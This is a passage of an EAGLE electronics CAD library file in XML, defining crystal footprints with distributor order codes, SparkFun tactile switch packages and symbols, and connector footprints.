package=\"HC49U-LM\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1666956\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49U-V\" package=\"HC49U-V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1666969\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49U70\" package=\"HC49U70\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC49UP\" package=\"HC49UP\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC13U-H\" package=\"HC13U-H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC18U-H\" package=\"HC18U-H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC18U-V\" package=\"HC18U-V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC33U-H\" package=\"HC33U-H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"HC33U-V\" package=\"HC33U-V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"SM49\" package=\"SM49\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TC26H\" package=\"TC26H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TC26V\" package=\"TC26V\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TC38H\" package=\"TC38H\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"68SMX\" package=\"86SMX\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"6344860\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"MM20SS\" package=\"MM20SS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"MM39SL\" package=\"MM39SL\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"CTS406\" package=\"CTS406\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MF\" value=\"\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"unknown\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun4-13-10\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"TACTILE_SWITCH_SMD\">\n<wire x1=\"-1.54\" y1=\"-2.54\" x2=\"-2.54\" y2=\"-1.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"-1.24\" x2=\"-2.54\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"1.54\" x2=\"-1.54\" y2=\"2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.54\" y1=\"2.54\" x2=\"1.54\" y2=\"2.54\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.54\" y1=\"2.54\" x2=\"2.54\" y2=\"1.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"1.24\" x2=\"2.54\" y2=\"-1.24\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.54\" x2=\"1.54\" y2=\"-2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.54\" y1=\"-2.54\" x2=\"-1.54\" y2=\"-2.54\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"1.905\" y2=\"0.445\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.905\" y1=\"0.445\" x2=\"2.16\" y2=\"-0.01\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.905\" y1=\"-0.23\" x2=\"1.905\" y2=\"-1.115\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.54\" y=\"1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"2.54\" y=\"1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"3\" x=\"-2.54\" y=\"-1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"4\" x=\"2.54\" y=\"-1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-0.889\" y=\"1.778\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.032\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"TACTILE-PTH\">\n<description>&lt;b&gt;OMRON SWITCH&lt;/b&gt;</description>\n<wire x1=\"3.048\" y1=\"1.016\" x2=\"3.048\" y2=\"2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3.048\" y1=\"2.54\" x2=\"2.54\" y2=\"3.048\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"-3.048\" x2=\"3.048\" y2=\"-2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3.048\" y1=\"-2.54\" x2=\"3.048\" y2=\"-1.016\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"3.048\" x2=\"-3.048\" y2=\"2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"2.54\" x2=\"-3.048\" y2=\"1.016\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"-3.048\" x2=\"-3.048\" y2=\"-2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.048\" y1=\"-2.54\" x2=\"-3.048\" y2=\"-1.016\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"-3.048\" x2=\"2.159\" y2=\"-3.048\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"-3.048\" x2=\"-2.159\" y2=\"-3.048\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"3.048\" x2=\"-2.159\" y2=\"3.048\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"3.048\" x2=\"2.159\" y2=\"3.048\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.159\" y1=\"3.048\" x2=\"-2.159\" y2=\"3.048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"-3.048\" x2=\"2.159\" y2=\"-3.048\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.048\" y1=\"0.998\" x2=\"3.048\" y2=\"-1.016\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.048\" y1=\"1.028\" x2=\"-3.048\" y2=\"-1.016\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"1.27\" x2=\"-2.54\" y2=\"0.508\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"-0.508\" x2=\"-2.54\" y2=\"-1.27\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"0.508\" x2=\"-2.159\" y2=\"-0.381\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.778\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.2512\" y=\"2.2606\" drill=\"1.016\" diameter=\"1.8796\"/>\n<pad name=\"2\" x=\"3.2512\" y=\"2.2606\" drill=\"1.016\" diameter=\"1.8796\"/>\n<pad name=\"3\" x=\"-3.2512\" y=\"-2.2606\" drill=\"1.016\" diameter=\"1.8796\"/>\n<pad name=\"4\" x=\"3.2512\" y=\"-2.2606\" drill=\"1.016\" diameter=\"1.8796\"/>\n<text x=\"-2.54\" y=\"3.81\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n</package>\n<package name=\"KSA_SEALED_TAC_SWITCH\">\n<wire x1=\"0\" y1=\"1.27\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"3.81\" x2=\"5.08\" y2=\"3.81\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"3.81\" x2=\"5.08\" y2=\"-3.81\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-3.81\" x2=\"-5.08\" y2=\"-3.81\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-3.81\" x2=\"-5.08\" y2=\"3.81\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"-3.81\" y=\"2.54\" drill=\"1\" shape=\"square\"/>\n<pad name=\"P$2\" x=\"3.81\" y=\"2.54\" drill=\"1\" shape=\"square\"/>\n<pad name=\"P$3\" x=\"-3.81\" y=\"-2.54\" drill=\"1\" shape=\"square\"/>\n<pad name=\"P$4\" x=\"3.81\" y=\"-2.54\" drill=\"1\" shape=\"square\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"SWITCH-MOMENTARY\">\n<wire x1=\"1.905\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.905\" y1=\"4.445\" x2=\"1.905\" y2=\"3.175\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.905\" y1=\"4.445\" x2=\"-1.905\" y2=\"3.175\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.905\" y1=\"4.445\" x2=\"0\" y2=\"4.445\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"4.445\" x2=\"-1.905\" y2=\"4.445\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"0\" y2=\"1.905\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"1.27\" x2=\"0\" y2=\"0.635\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"4.445\" x2=\"0\" y2=\"3.175\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"2.54\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-2.54\" x2=\"-2.54\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"1.905\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"0.127\" width=\"0.4064\" layer=\"94\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.127\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"6.35\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-6.35\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-5.08\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" swaplevel=\"2\"/>\n<pin name=\"3\" x=\"5.08\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"4\" x=\"5.08\" y=\"-2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"2\" x=\"-5.08\" y=\"-2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" swaplevel=\"2\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"TAC_SWITCH\" prefix=\"S\" uservalue=\"yes\">\n<description>&lt;b&gt;Momentary Switch&lt;/b&gt;\nButton commonly used for reset or general input. Spark Fun Electronics SKU : COM-00097</description>\n<gates>\n<gate name=\"S\" symbol=\"SWITCH-MOMENTARY\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"SMD\" package=\"TACTILE_SWITCH_SMD\">\n<connects>\n<connect gate=\"S\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"S\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"S\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"S\" pin=\"4\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH\" package=\"TACTILE-PTH\">\n<connects>\n<connect gate=\"S\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"S\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"S\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"S\" pin=\"4\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"KSA_SEALED\" package=\"KSA_SEALED_TAC_SWITCH\">\n<connects>\n<connect gate=\"S\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"S\" pin=\"2\" pad=\"P$2\"/>\n<connect gate=\"S\" pin=\"3\" pad=\"P$3\"/>\n<connect gate=\"S\" pin=\"4\" pad=\"P$4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun-Connectors\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find connectors and sockets- basically anything that can be plugged into or onto.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"1X02\">\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"MOLEX-1X2\">\n<wire x1=\"-1.27\" y1=\"3.048\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"3.81\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"-1.27\" y2=\"3.048\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-1.27\" x2=\"2.54\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.27\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-2\">\n<wire x1=\"-1.75\" y1=\"3.4\" x2=\"5.25\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"3.4\" x2=\"5.25\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"5.25\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-2.8\" x2=\"-1.75\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.15\" x2=\"5.65\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.15\" x2=\"5.65\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"2.15\" x2=\"5.25\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2\" y=\"3\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"JST-2-SMD\">\n<description>2mm SMD side-entry connector. tDocu layer indicates the actual physical plastic housing. +/- indicate SparkFun standard batteries and wiring.</description>\n<wire x1=\"-4\" y1=\"-1\" x2=\"-4\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4\" y1=\"-4.5\" x2=\"-3.2\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2\" y1=\"-4.5\" x2=\"-3.2\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2\" y1=\"-2\" x2=\"-2\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-2\" x2=\"3.2\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2\" y1=\"-2\" x2=\"3.2\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2\" y1=\"-4.5\" x2=\"4\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4\" y1=\"-4.5\" x2=\"4\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"3\" x2=\"-2\" y2=\"3\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1\" y=\"-3.7\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1\" y=\"-3.7\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<smd name=\"NC1\" x=\"-3.4\" y=\"1.5\" dx=\"3.4\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd 